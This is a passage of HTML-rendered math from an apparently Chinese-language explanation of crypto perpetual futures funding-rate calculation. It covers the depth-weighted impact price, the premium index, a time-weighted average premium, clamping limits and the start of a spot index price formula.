class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>：现货指数价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span>：深度加权金额 = <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">200</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>（<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为合约最高杠杆倍数）<ul><li>例如：BTCUSDT合约最高杠杆100倍，则<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">200</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">100</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">20</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span></span></span></span> USDT</li><li>意思是：模拟用20,000 USDT去买入BTC时的平均成交价格</li></ul></li></ul><p><strong>深度加权价格计算</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.3057em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord text"><span class="mord cjk_fallback">其中</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span></span></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>档买单价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>档买单数量</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>：达到深度加权金额<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span>所需的档位数</li></ul><p><strong>计算步骤</strong>：从订单簿最优价格开始，逐档累加直至总价值达到<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">D</span></span></span></span>，然后计算加权平均价格</p><p><strong>第3步：计算平均溢价指数</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.488em;vertical-align:-0.994em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.494em;"><span style="top:-2.3057em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.6897em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.994em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>：第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>分钟时刻的溢价指数（使用步骤2的公式计算）<p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.363em;vertical-align:-0.936em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">))</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p></li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：当前时刻（距离结算周期开始第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>分钟）</li><li>权重：时间越近，权重越大（第<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>分钟的权重为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>）</li><li>例如：8小时结算周期，在第480分钟时计算，使用过去480分钟的溢价指数数据</li></ul><p><strong>第4步：应用双重限制</strong></p><ul><li>内层限制：将<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1333em;vertical-align:-0.25em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>限制在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">−</span><span class="mord">0.05%</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.05%</span><span class="mclose">]</span></span></span></span>区间</li><li>外层限制：将最终结果限制在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">min</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>区间</li></ul><h3 id="3-2-标记价格与现货指数价格计算">3.2 标记价格与现货指数价格计算</h3><h4 id="3-2-1-现货指数价格计算">3.2.1 现货指数价格计算</h4><p><strong>公式2 现货指数价格计算公式</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.8419em;vertical-align:-1.1709em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6709em;"><span style="top:-2.1288em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9812em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.6897em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9812em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">N</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.967em;"><span style="top:-2.4231em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span><span style="top:-3.1809em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 